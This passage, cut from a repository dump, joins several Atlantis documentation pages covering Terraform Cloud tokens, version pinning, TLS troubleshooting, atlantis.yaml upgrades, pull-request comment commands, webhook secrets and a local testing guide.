having to change your pull request workflow. ### Getting Started To use Atlantis with Terraform Cloud Remote Operations or Terraform Enterprise, you need to: 1. Migrate your state to Terraform Cloud/Enterprise. See [Migrating State from Local Terraform](https://developer.hashicorp.com/terraform/cloud-docs/migrate) 1. Update any projects that are referencing the state you migrated to use the new location 1. [Generate a Terraform Cloud/Enterprise Token](#generating-a-terraform-cloud-enterprise-token) 1. [Pass the token to Atlantis](#passing-the-token-to-atlantis) ## Generating a Terraform Cloud/Enterprise Token Atlantis needs a Terraform Cloud/Enterprise Token that it will use to access the API. Using a **Team Token is recommended**, however you can also use a User Token. ### Team Token To generate a team token, click on **Settings** in the top bar, then **Teams** in the sidebar. Choose an existing team or create a new one. Enable the **Manage Workspaces** permission, then scroll down to **Team API Token**. ### User Token To generate a user token, click on your avatar, then **User Settings**, then **Tokens** in the sidebar. Ensure the **Manage Workspaces** permission is enabled for this user's team. ## Passing The Token To Atlantis The token can be passed to Atlantis via the `ATLANTIS_TFE_TOKEN` environment variable. You can also use the `--tfe-token` flag, however your token would then be easily viewable in the process list. If you're hosting your own Terraform Enterprise installation, set the `--tfe-hostname` flag to its hostname. That's it! Atlantis should be able to perform Terraform operations using Terraform Cloud/Enterprise's remote state backend now. :::warning If you're using local execution mode for your workspaces, remember to set the `--tfe-local-execution-mode`. Otherwise you won't see the logs in Atlantis. :::warning The Terraform Cloud/Enterprise integration only works with the built-in `plan` and `apply` steps. It does not work with custom `run` steps that replace plan or apply. ::: :::tip NOTE Under the hood, Atlantis is generating a `~/.terraformrc` file. If you already had a `~/.terraformrc` file where Atlantis is running, then you'll need to manually add the credentials block to that file: ```hcl ... credentials "app.terraform.io" { token = "xxxx" } ``` instead of using the `ATLANTIS_TFE_TOKEN` environment variable, since Atlantis won't overwrite your `.terraformrc` file. ::: ================================================ FILE: runatlantis.io/docs/terraform-versions.md ================================================ # Terraform Versions You can customize which version of Terraform Atlantis defaults to by setting the `--default-tf-version` flag (ex. `--default-tf-version=v1.3.7`). ## Via `atlantis.yaml` If you wish to use a different version than the default for a specific repo or project, you need to create an `atlantis.yaml` file and set the `terraform_version` key: ```yaml version: 3 projects: - dir: . terraform_version: v1.1.5 ``` See [atlantis.yaml Use Cases](repo-level-atlantis-yaml.md#terraform-versions) for more details. ## Via terraform config Alternatively, one can use the terraform configuration block's `required_version` key to specify an exact version (`x.y.z` or `= x.y.z`), or as of [atlantis v0.21.0](https://github.com/runatlantis/atlantis/releases/tag/v0.21.0), a comparison or pessimistic [version constraint](https://developer.hashicorp.com/terraform/language/expressions/version-constraints#version-constraint-syntax): ### Exactly version 1.2.9 ```tf terraform { required_version = "= 1.2.9" } ``` ### Any patch/tiny version of minor version 1.2 (1.2.z) ```tf terraform { required_version = "~> 1.2.0" } ``` ### Any minor version of major version 1 (1.y.z) ```tf terraform { required_version = "~> 1.2" } ``` ### Any version that is at least 1.2.0 ```tf terraform { required_version = ">= 1.2.0" } ``` See [Terraform `required_version`](https://developer.hashicorp.com/terraform/language/terraform#terraform-required_version) for reference. ::: tip NOTE Atlantis will automatically download the latest version that fulfills the constraint specified. A `terraform_version` specified in the `atlantis.yaml` file takes precedence over both the [`--default-tf-version`](server-configuration.md#default-tf-version) flag and the `required_version` in the terraform hcl. ::: ::: tip NOTE The Atlantis [latest docker image](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/9854680?tag=latest) tends to have recent versions of Terraform, but there may be a delay as new versions are released. The highest version of Terraform allowed in your code is the version specified by `DEFAULT_TERRAFORM_VERSION` in the image your server is running. ::: ================================================ FILE: runatlantis.io/docs/troubleshooting-https.md ================================================ # HTTPS, SSL, TLS When using a self-signed certificate for Atlantis (with flags `--ssl-cert-file` and `--ssl-key-file`), there are a few considerations. Atlantis uses the web server from the standard Go library, the method name is [ListenAndServeTLS](https://pkg.go.dev/net/http#ListenAndServeTLS). `ListenAndServeTLS` acts identically to [ListenAndServe](https://pkg.go.dev/net/http#ListenAndServe), except that it expects HTTPS connections. Additionally, files containing a certificate and matching private key for the server must be provided. If the certificate is signed by a certificate authority, the file passed to `--ssl-cert-file` should be the concatenation of the server's certificate, any intermediates, and the CA's certificate. If you have this error when specifying a TLS cert with a key: ```plain [ERROR] server.go:413 server: Tls: private key does not match public key ``` Check that the locally signed certificate authority is prepended to the self-signed certificate. A good example is shown at [Seth Vargo terraform implementation of atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke/blob/master/terraform/tls.tf#L64-L84) For Go specific TLS resources have a look at the repository by [denji called golang-tls](https://github.com/denji/golang-tls). For a complete explanation on PKI, read this [article](https://smallstep.com/blog/everything-pki.html). ================================================ FILE: runatlantis.io/docs/upgrading-atlantis-yaml.md ================================================ # Upgrading atlantis.yaml ## Upgrading From v2 To v3 Atlantis version `v0.7.0` introduced a new version 3 of `atlantis.yaml`. **If you're not using [custom `run` steps](custom-workflows.md#custom-run-command), then you can upgrade from `version: 2` to `version: 3` without any changes.** **NOTE:** Version 2 **is not being deprecated** and there is no need to upgrade your version if you don't wish to do so. The only change from v2 to v3 is that we're parsing custom `run` steps differently. ```yaml # atlantis.yaml workflows: custom: plan: steps: - run: my custom command ```
An example workflow using a custom run step
Previously, we used a library that would parse the custom step prior to running it. Now, we just run the step directly. This will only affect your steps if they were using shell escaping of some sort. For example, if your step was previously: ```yaml # version: 2 - run: "printf \'print me\'" ``` You can now write this in version 3 as: ```yaml # version: 3 - run: "printf 'print me'" ``` ## Upgrading From V1 To V3 If you are upgrading from an **old** Atlantis version `<=v0.3.10` (from before July 4, 2018) you'll need to follow the following steps. ### Single atlantis.yaml If you had multiple `atlantis.yaml` files per directory then you'll need to consolidate them into a single `atlantis.yaml` file at the root of the repo. For example, if you had a directory structure: ```plain . ├── project1 │ └── atlantis.yaml └── project2 └── atlantis.yaml ``` Then your new structure would look like: ```plain . ├── atlantis.yaml ├── project1 └── project2 ``` And your `atlantis.yaml` would look something like: ```yaml version: 2 projects: - dir: project1 terraform_version: my-version workflow: project1-workflow - dir: project2 terraform_version: my-version workflow: project2-workflow workflows: project1-workflow: ... project2-workflow: ... ``` We will talk more about `workflows` below. ### Terraform Version The `terraform_version` key moved from being a top-level key to being per `project` so if before your `atlantis.yaml` was in directory `mydir` and looked like: ```yaml terraform_version: 0.11.0 ``` Then your new config would be: ```yaml version: 2 projects: - dir: mydir terraform_version: 0.11.0 ``` ### Workflows Workflows are the new way to set all `pre_*`, `post_*` and `extra_arguments`. Each `project` can have a custom workflow via the `workflow` key. ```yaml version: 2 projects: - dir: . workflow: myworkflow ``` Workflows are defined as a top-level key: ```yaml version: 2 projects: ... workflows: myworkflow: ... ``` To start with, determine whether you're customizing commands that happen during `plan` or `apply`. You then set that key under the workflow's name: ```yaml ... workflows: myworkflow: plan: steps: ... apply: steps: ... ``` If you're not customizing a specific stage then you can omit that key. For example if you're only customizing the commands that happen during `plan` then your config will look like: ```yaml ... workflows: myworkflow: plan: steps: ... ``` #### Extra Arguments `extra_arguments` is now specified as follows. Given a previous config: ```yaml extra_arguments: - command_name: init arguments: - "-lock=false" - command_name: plan arguments: - "-lock=false" - command_name: apply arguments: - "-lock=false" ``` Your config would now look like: ```yaml ... workflows: myworkflow: plan: steps: - init: extra_args: ["-lock=false"] - plan: extra_args: ["-lock=false"] apply: steps: - apply: extra_args: ["-lock=false"] ``` #### Pre/Post Commands Instead of using `pre_*` or `post_*`, you now can insert your custom commands before/after the built-in commands. Given a previous config: ```yaml pre_init: commands: - "curl http://example.com" # pre_get commands are run when the Terraform version is < 0.9.0 pre_get: commands: - "curl http://example.com" pre_plan: commands: - "curl http://example.com" post_plan: commands: - "curl http://example.com" pre_apply: commands: - "curl http://example.com" post_apply: commands: - "curl http://example.com" ``` Your config would now look like: ```yaml ... workflows: myworkflow: plan: steps: - run: curl http://example.com - init - plan - run: curl http://example.com apply: steps: - run: curl http://example.com - apply - run: curl http://example.com ``` ::: tip It's important to include the built-in commands: `init`, `plan` and `apply`. Otherwise Atlantis won't run the necessary commands to actually plan/apply. ::: ================================================ FILE: runatlantis.io/docs/using-atlantis.md ================================================ # Using Atlantis Atlantis triggers commands via pull request comments. ![Help Command](./images/pr-comment-help.png) ::: tip You can use the following executable names. * `atlantis help` * `atlantis` is executable name. You can configure by [Executable Name](server-configuration.md#executable-name). * `run help` * `run` is a global executable name. * `@GithubUser help` * `@GithubUser` is the VCS host user which you connected to Atlantis by user token. ::: Currently, Atlantis supports the following commands. --- ## atlantis help ```bash atlantis help ``` ### Explanation View help --- ## atlantis version ```bash atlantis version ``` ### Explanation Print the output of 'terraform version'. --- ## atlantis plan ```bash atlantis plan [options] -- [terraform plan flags] ``` ### Explanation Runs `terraform plan` on the pull request's branch. You may wish to re-run plan after Atlantis has already done so if you've changed some resources manually. ### Examples ```bash # Runs plan for any projects that Atlantis thinks were modified. # If an `atlantis.yaml` file is specified, runs plan on the projects that # were modified as determined by the `when_modified` config. atlantis plan # Runs plan in the root directory of the repo with workspace `default`. atlantis plan -d . # Runs plan in the `project1` directory of the repo with workspace `default` atlantis plan -p project1 # Runs plan in the root directory of the repo with workspace `staging` atlantis plan -w staging ``` ### Options * `-d directory` Which directory to run plan in relative to root of repo. Use `.` for root. * Ex. `atlantis plan -d child/dir` * `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w` because the project defines this already. * `-w workspace` Switch to this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) before planning. Defaults to `default`. Ignore this if Terraform workspaces are unused. * `--verbose` Append Atlantis log to comment. ::: warning NOTE An `atlantis plan` (without flags), like autoplans, discards all plans previously created with `atlantis plan` `-p`/`-d`/`-w` ::: ### Additional Terraform flags If `terraform plan` requires additional arguments, like `-target=resource` or `-var 'foo=bar'` or `-var-file myfile.tfvars` you can append them to the end of the comment after `--`, ex. ```shell atlantis plan -d dir -- -var foo='bar' ``` If you always need to append a certain flag, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). ### Automatic Environment Variable Files Atlantis automatically includes workspace-specific variable files if they exist in your repository. This feature helps reduce duplication across different environments and workspaces. #### How it works When running `atlantis plan`, Atlantis automatically checks for a file at `env/{workspace}.tfvars` relative to the project directory. If this file exists, Atlantis will automatically include it using the `-var-file` flag. #### Examples ```plain my-terraform-project/ ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars ``` When you run: * `atlantis plan` (uses default workspace) automatically includes `env/default.tfvars` * `atlantis plan -w staging` automatically includes `env/staging.tfvars` * `atlantis plan -w production` automatically includes `env/production.tfvars` ::: tip This feature works for any workspace name. If you have a custom workspace called `dev-team-1`, Atlantis will look for `env/dev-team-1.tfvars`. ::: ### Using the -destroy Flag #### Example To perform a destructive plan that will destroy resources you can use the `-destroy` flag like this: ```bash atlantis plan -- -destroy atlantis plan -d dir -- -destroy ``` ::: warning NOTE The `-destroy` flag generates a destroy plan. If this plan is applied it can result in data loss or service disruptions. Ensure that you have thoroughly reviewed your Terraform configuration and intend to remove the specified resources before using this flag. ::: --- ## atlantis apply ```bash atlantis apply [options] -- [terraform apply flags] ``` ### Explanation Runs `terraform apply` for the plan that matches the directory/project/workspace. ::: tip If no directory/project/workspace is specified, ex. `atlantis apply`, this command will apply **all unapplied plans from this pull request**. This includes all projects that have been planned manually with `atlantis plan` `-p`/`-d`/`-w` since the last autoplan or `atlantis plan` command. For Atlantis commands to work, Atlantis needs to know the location where the plan file is. For that, you can use $PLANFILE which will contain the path of the plan file to be used in your custom steps. i.e `terraform plan -out $PLANFILE` ::: ### Examples ```bash # Runs apply for all unapplied plans from this pull request. atlantis apply # Runs apply in the root directory of the repo with workspace `default`. atlantis apply -d . # Runs apply in the `project1` directory of the repo with workspace `default` atlantis apply -p project1 # Runs apply in the root directory of the repo with workspace `staging` atlantis apply -w staging ``` ### Options * `-d directory` Apply the plan for this directory, relative to root of repo. Use `.` for root. * `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](repo-level-atlantis-yaml.md). Cannot be used at same time as `-d` or `-w`. * `-w workspace` Apply the plan for this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. * `--auto-merge-disabled` Disable [automerge](automerging.md) for this apply command. * `--auto-merge-method method` Specify which [merge method](automerging.md#how-to-set-the-merge-method-for-automerge) use for the apply command if [automerge](automerging.md) is enabled. Implemented only for GitHub. * `--verbose` Append Atlantis log to comment. ### Additional Terraform flags Because Atlantis under the hood is running `terraform apply plan.tfplan`, any Terraform options that would change the `plan` are ignored, ex: * `-target=resource` * `-var 'foo=bar'` * `-var-file=myfile.tfvars` They're ignored because they can't be specified for an already generated planfile. If you would like to specify these flags, do it while running `atlantis plan`. ::: tip The automatic `env/{workspace}.tfvars` file inclusion happens during the `atlantis plan` phase. Since `atlantis apply` uses the already-generated plan file, any environment-specific variables are already incorporated from when the plan was created. ::: --- ## Atlantis cancel ```bash atlantis cancel ``` ### Explanation Cancels all **queued commands** for the current pull request. ::: warning NOTE This command **does not** attempt to stop or interrupt commands that are already running. It only removes subsequent commands that are waiting in the queue. There is currently no mechanism in Atlantis to interrupt the currently running process. ::: This is useful if you have multiple commands queued (e.g., atlantis apply for several projects) and you realize you made a mistake in your PR. Using cancel prevents the queued plans from executing. Especially with long-running operations, this can save time and resources. ### Examples ```bash # An apply is currently running, and another is queued. # This command will cancel the queued apply but not the running one. atlantis cancel ``` --- ## atlantis import ```bash atlantis import [options] ADDRESS ID -- [terraform import flags] ``` ### Explanation Runs `terraform import` that matches the directory/project/workspace. This command discards the terraform plan result. After an import and before an apply, another `atlantis plan` must be run again. To allow the `import` command requires [--allow-commands](server-configuration.md#allow-commands) configuration. ### Examples ```bash # Runs import atlantis import ADDRESS ID # Runs import in the root directory of the repo with workspace `default` atlantis import -d . ADDRESS ID # Runs import in the `project1` directory of the repo with workspace `default` atlantis import -p project1 ADDRESS ID # Runs import in the root directory of the repo with workspace `staging` atlantis import -w staging ADDRESS ID ``` ::: tip * When importing `for_each` resources, a single quoted address is required. * ex. `atlantis import 'aws_instance.example["foo"]' i-1234567890abcdef0` ::: ### Options * `-d directory` Import a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Import a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Import a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. ### Additional Terraform flags If `terraform import` requires additional arguments, like `-var 'foo=bar'` or `-var-file myfile.tfvars` append them to the end of the comment after `--`, e.g. ```shell atlantis import -d dir 'aws_instance.example["foo"]' i-1234567890abcdef0 -- -var foo='bar' ``` If a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). --- ## atlantis state rm ```bash atlantis state [options] rm ADDRESS... -- [terraform state rm flags] ``` ### Explanation Runs `terraform state rm` that matches the directory/project/workspace. This command discards the terraform plan result. After running `state rm` and before an apply, another `atlantis plan` must be run again. To allow the `state` command requires [--allow-commands](server-configuration.md#allow-commands) configuration. ### Examples ```bash # Runs state rm atlantis state rm ADDRESS1 ADDRESS2 # Runs state rm in the root directory of the repo with workspace `default` atlantis state -d . rm ADDRESS # Runs state rm in the `project1` directory of the repo with workspace `default` atlantis state -p project1 rm ADDRESS # Runs state rm in the root directory of the repo with workspace `staging` atlantis state -w staging rm ADDRESS ``` ::: tip * When running `state rm` on `for_each` resources, a single quoted address is required. * ex. `atlantis state rm 'aws_instance.example["foo"]'` ::: ### Options * `-d directory` Run state rm a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Run state rm a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](repo-level-atlantis-yaml.md) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Run state rm a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces). Ignore this if Terraform workspaces are unused. ### Additional Terraform flags If `terraform state rm` requires additional arguments, like `-lock=false'` append them to the end of the comment after `--`, e.g. ```shell atlantis state -d dir rm 'aws_instance.example["foo"]' -- -lock=false ``` If a flag is needed to be always appended, see [Custom Workflow Use Cases](custom-workflows.md#adding-extra-arguments-to-terraform-commands). --- ## atlantis unlock ```bash atlantis unlock ``` ### Explanation Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. --- ## atlantis approve_policies ```bash atlantis approve_policies ``` ### Explanation Approves all current policy checking failures for the PR. See also [policy checking](policy-checking.md). ### Options * `--verbose` Append Atlantis log to comment. ================================================ FILE: runatlantis.io/docs/webhook-secrets.md ================================================ # Webhook Secrets Atlantis uses Webhook secrets to validate that the webhooks it receives from your Git host are legitimate. One way to confirm this would be to allowlist requests to only come from the IPs of your Git host but an easier way is to use a Webhook Secret. ::: tip NOTE Webhook secrets are actually optional. However they're highly recommended for security. ::: ::: tip NOTE Azure DevOps uses Basic authentication for webhooks rather than webhook secrets. ::: ::: tip NOTE An app-wide token is generated during [GitHub App setup](access-credentials.md#github-app). You can recover it by navigating to the [GitHub app settings page](https://github.com/settings/apps) and selecting "Edit" next to your Atlantis app's name. Token appears after clicking "Edit" under the Webhook header. ::: ## Generating A Webhook Secret You can use any random string generator to create your Webhook secret. It should be > 24 characters. For example: * Generate via Ruby with `ruby -rsecurerandom -e 'puts SecureRandom.hex(32)'` * Generate online with [browserling: Generate Random Strings and Numbers](https://www.browserling.com/tools/random-string) ::: tip NOTE You must use **the same** webhook secret for each repo. ::: ## Next Steps * Record your secret * You'll be using it later to [configure your webhooks](configuring-webhooks.md), however if you're following the [Installation Guide](installation-guide.md) then your next step is to [Deploy Atlantis](deployment.md) ================================================ FILE: runatlantis.io/docs.md ================================================ --- aside: false --- # Atlantis Documentation These docs are for users that are ready to get Atlantis installed and start using it. :::tip Looking to get started? If you're new here, check out the [Guide](./guide.md) where you can try our [Test Drive](./guide/test-drive.md) or [Run Atlantis Locally](./guide/testing-locally.md). ::: ## Next Steps * [Installing Atlantis](./docs/installation-guide.md)  –  Get Atlantis up and running * [Configuring Atlantis](./docs/configuring-atlantis.md)  –  Configure how Atlantis works for your specific use-cases * [Using Atlantis](./docs/using-atlantis.md)  –  How do you use Atlantis? * [How Atlantis Works](./docs/how-atlantis-works.md)  –  Internals of what Atlantis is doing ================================================ FILE: runatlantis.io/e2e/site-check.spec.js ================================================ import { test } from '@playwright/test'; test('page should load without errors', async ({ page }) => { // Listen for any errors that occur within the page page.on('pageerror', error => { console.error('Page error:', error.message); throw new Error(`Page error: ${error.message}`); }); // Navigate to the URL await page.goto('http://localhost:8080/'); }); ================================================ FILE: runatlantis.io/guide/test-drive.md ================================================ # Test Drive To test drive Atlantis on an example repo, download the latest release from [GitHub](https://github.com/runatlantis/atlantis/releases) Once you've extracted the archive, run: ```bash ./atlantis testdrive ``` This mode sets up Atlantis on a test repo so you can try it out. It will - Fork an example Terraform project into your GitHub account - Install Terraform (if not already in your PATH) - Install [ngrok](https://ngrok.com/) so we can expose Atlantis to GitHub - Start Atlantis so you can execute commands on the pull request ## Next Steps - If you're ready to test out running Atlantis on **your repos** then read [Testing Locally](testing-locally.md). - If you're ready to properly install Atlantis on real infrastructure then head over to the [Installation Guide](../docs/installation-guide.md). ================================================ FILE: runatlantis.io/guide/testing-locally.md ================================================ # Testing Locally These instructions are for running Atlantis **locally on your own computer** so you can test it out against your own repositories before deciding whether to install it more permanently. ::: tip If you want to set up a production-ready Atlantis installation, read [Deployment](../docs/deployment.md). ::: Steps: ## Install Terraform `terraform` needs to be in the `$PATH` for Atlantis. Download from [Terraform](https://developer.hashicorp.com/terraform/downloads) ```shell unzip path/to/terraform_*.zip -d /usr/local/bin ``` ## Download Atlantis Get the latest release from [GitHub](https://github.com/runatlantis/atlantis/releases) and unpackage it. ## Download Ngrok Atlantis needs to be accessible somewhere that github.com/gitlab.com/bitbucket.org or your GitHub/GitLab Enterprise installation can reach. One way to accomplish this is with ngrok, a tool that forwards your local port to a random public hostname. [Download](https://ngrok.com/download) ngrok and `unzip` it. Start `ngrok` on port `4141` and take note of the hostname it gives you: ```bash ./ngrok http 4141 ``` In a new tab (where you'll soon start Atlantis) create an environment variable with ngrok's hostname: ```bash URL="https://{YOUR_HOSTNAME}.ngrok.io" ``` ## Create a Webhook Secret GitHub and GitLab use webhook secrets so clients can verify that the webhooks came from them. Create a random string of any length (you can use [random.org](https://www.random.org/strings/)) and set an environment variable: ```shell SECRET="{YOUR_RANDOM_STRING}" ``` ## Add Webhook Take the URL that ngrok output and create a webhook in your GitHub, GitLab or Bitbucket repo: ### GitHub or GitHub Enterprise Webhook
Expand
  • Go to your repo's settings
  • Select Webhooks or Hooks in the sidebar
  • Click Add webhook
  • set Payload URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • double-check you added /events to the end of your URL.
  • set Content type to application/json
  • set Secret to your random string
  • select Let me select individual events
  • check the boxes
    • Pull request reviews
    • Pushes
    • Issue comments
    • Pull requests
  • leave Active checked
  • click Add webhook
### GitLab or GitLab Enterprise Webhook
Expand
  • Go to your repo's home page
  • Click Settings > Webhooks in the sidebar
  • set URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • double-check you added /events to the end of your URL.
  • set Secret Token to your random string
  • check the boxes
    • Push events
    • Comments
    • Merge Request events
  • leave Enable SSL verification checked
  • click Add webhook
### Bitbucket Cloud (bitbucket.org) Webhook
Expand
  • Go to your repo's home page
  • Click Settings in the sidebar
  • Click Webhooks under the WORKFLOW section
  • Click Add webhook
  • Enter "Atlantis" for Title
  • Set URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • Double-check you added /events to the end of your URL.
  • Keep Status as Active
  • Don't check Skip certificate validation because NGROK has a valid cert.
  • Select Choose from a full list of triggers
  • Under Repositoryuncheck everything
  • Under Issues leave everything unchecked
  • Under Pull Request, select: Created, Updated, Merged, Declined and Comment created
  • Click SaveBitbucket Webhook
### Bitbucket Server (aka Stash) Webhook
Expand
  • Go to your repo's home page
  • Click Settings in the sidebar
  • Click Webhooks under the WORKFLOW section
  • Click Create webhook
  • Enter "Atlantis" for Name
  • Set URL to your ngrok url with /events at the end. Ex. https://c5004d84.ngrok.io/events
  • Double-check you added /events to the end of your URL.
  • Set Secret to your random string
  • Under Pull Request, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added
  • Click SaveBitbucket Webhook
### Gitea Webhook
Expand
  • Click Settings > Webhooks in the top- and then sidebar
  • Click Add webhook > Gitea (Gitea webhooks are service specific, but this works)
  • set Target URL to http://$URL/events (or https://$URL/events if you're using SSL) where $URL is where Atlantis is hosted. Be sure to add /events
  • double-check you added /events to the end of your URL.
  • set Secret to the Webhook Secret you generated previously
    • NOTE If you're adding a webhook to multiple repositories, each repository will need to use the same secret.
  • Select Custom Events...
  • Check the boxes
    • Repository events > Push
    • Issue events > Issue Comment
    • Pull Request events > Pull Request
    • Pull Request events > Pull Request Comment
    • Pull Request events > Pull Request Reviewed
    • Pull Request events > Pull Request Synchronized
  • Leave Active checked
  • Click Add Webhook
  • See Next Steps
## Create an access token for Atlantis We recommend using a dedicated CI user or creating a new user named **@atlantis** that performs all API actions, however for testing, you can use your own user. Here we'll create the access token that Atlantis uses to comment on the pull request and set commit statuses. ### GitHub or GitHub Enterprise Access Token - Create a [Personal Access Token](https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token#creating-a-fine-grained-personal-access-token) - create a token with **repo** scope - set the token as an environment variable ```shell TOKEN="{YOUR_TOKEN}" ``` ### GitLab or GitLab Enterprise Access Token - follow [GitLab: Create a personal access token](https://docs.gitlab.com/user/profile/personal_access_tokens/#create-a-personal-access-token) - create a token with **api** scope - set the token as an environment variable ```shell TOKEN="{YOUR_TOKEN}" ``` ### Bitbucket Cloud (bitbucket.org) Access Token - follow [BitBucket Cloud: Create an app password](https://support.atlassian.com/bitbucket-cloud/docs/create-an-app-password/) - Label the password "atlantis" - Select **Pull requests**: **Read** and **Write** so that Atlantis can read your pull requests and write comments to them - set the token as an environment variable ```shell TOKEN="{YOUR_TOKEN}" ``` ### Bitbucket Server (aka Stash) Access Token - Click on your avatar in the top right and select **Manage account** - Click **HTTP access tokens** in the sidebar - Click **Create token** - Name the token **atlantis** - Give the token **Read** Project permissions and **Write** Pull request permissions - Choose an Expiry option **Do not expire** or **Expire automatically** - Click **Create** and set the token as an environment variable ```shell TOKEN="{YOUR_TOKEN}" ``` ### Gitea Access Token - Go to "Profile and Settings" > "Settings" in Gitea (top-right) - Go to "Applications" under "User Settings" in Gitea - Create a token under the "Manage Access Tokens" with the following permissions: - issue: Read and Write - repository: Read and Write - Record the access token ## Start Atlantis You're almost ready to start Atlantis, just set two more variables: ```bash USERNAME="{the username of your GitHub, GitLab or Bitbucket user}" REPO_ALLOWLIST="$YOUR_GIT_HOST/$YOUR_USERNAME/$YOUR_REPO" # ex. REPO_ALLOWLIST="github.com/runatlantis/atlantis" # If you're using Bitbucket Server, $YOUR_GIT_HOST will be the domain name of your # server without scheme or port and $YOUR_USERNAME will be the name of the **project** the repo # is under, **not the key** of the project. ``` Now you can start Atlantis. The exact command differs depending on your Git host: ### GitHub Command ```bash atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### GitHub Enterprise Command ```bash HOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gh-user="$USERNAME" \ --gh-token="$TOKEN" \ --gh-webhook-secret="$SECRET" \ --gh-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### GitLab Command ```bash atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### GitLab Enterprise Command ```bash HOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io atlantis server \ --atlantis-url="$URL" \ --gitlab-user="$USERNAME" \ --gitlab-token="$TOKEN" \ --gitlab-webhook-secret="$SECRET" \ --gitlab-hostname="$HOSTNAME" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### Bitbucket Cloud (bitbucket.org) Command ```bash atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### Bitbucket Server (aka Stash) Command ```bash BASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990 atlantis server \ --atlantis-url="$URL" \ --bitbucket-user="$USERNAME" \ --bitbucket-token="$TOKEN" \ --bitbucket-webhook-secret="$SECRET" \ --bitbucket-base-url="$BASE_URL" \ --repo-allowlist="$REPO_ALLOWLIST" ``` ### Azure DevOps A certificate and private key are required if using Basic authentication for webhooks. ```bash atlantis server \ --atlantis-url="$URL" \ --azuredevops-user="$USERNAME" \ --azuredevops-token="$TOKEN" \ --azuredevops-webhook-user="$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER" \ --azuredevops-webhook-password="$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD" \ --repo-allowlist="$REPO_ALLOWLIST" --ssl-cert-file=file.crt --ssl-key-file=file.key ``` ### Gitea ```bash atlantis server \ --atlantis-url="$URL" \ --gitea-user="$ATLANTIS_GITEA_USER" \ --gitea-token="$ATLANTIS_GITEA_TOKEN" \ --gitea-webhook-secret="$ATLANTIS_GITEA_WEBHOOK_SECRET" \ --gitea-base-url="$ATLANTIS_GITEA_BASE_URL" \ --gitea-page-size="$ATLANTIS_GITEA_PAGE_SIZE" \ --repo-allowlist="$REPO_ALLOWLIST" --ssl-cert-file=file.crt --ssl-key-file=file.key ``` ## Create a pull request Create a pull request so you can test Atlantis. ::: tip You could add a null resource as a test: ```hcl resource "null_resource" "example" {} ``` Or just modify the whitespace in a file. ::: ### Autoplan You should see Atlantis logging about receiving the webhook and you should see the output of `terraform plan` on your repo. Atlantis tries to figure out the directory to plan in based on the files modified. If you need to customize the directories that Atlantis runs in or the commands it runs if you're using workspaces or `.tfvars` files, see [atlantis.yaml Reference](../docs/repo-level-atlantis-yaml.md#reference). ### Manual Plan To manually `plan` in a specific directory or workspace, comment on the pull request using the `-d` or `-w` flags: ```shell atlantis plan -d mydir atlantis plan -w staging ``` To add additional arguments to the underlying `terraform plan` you can use: ```shell atlantis plan -- -target=resource -var 'foo=bar' ``` ### Apply If you'd like to `apply`, type a comment: `atlantis apply`. You can use the `-d` or `-w` flags to point Atlantis at a specific plan. Otherwise it tries to apply the plan for the root directory. ## Real-time logs The [real-time terraform output](../docs/streaming-logs.md) for your command can be found by clicking into the status check for a given project in a PR which links to the log-streaming UI. This is a terminal UI where you can view your commands executing in real-time. ## Next Steps - If things are working as expected you can `Ctrl-C` the `atlantis server` command and the `ngrok` command. - Hopefully Atlantis is working with your repo and you're ready to move on to a [production-ready deployment](../docs/deployment.md). - If it's not working as expected, you may need to customize how Atlantis runs with an `atlantis.yaml` file. See [atlantis.yaml use cases](../docs/repo-level-atlantis-yaml.md#use-cases). - Check out our [full documentation](../docs.md) for more details. ================================================ FILE: runatlantis.io/guide.md ================================================ # Introduction ## Getting Started * If you'd like to just test out running Atlantis on an **example repo** check out the [Test Drive](./guide/test-drive.md). * If you'd like to test out running 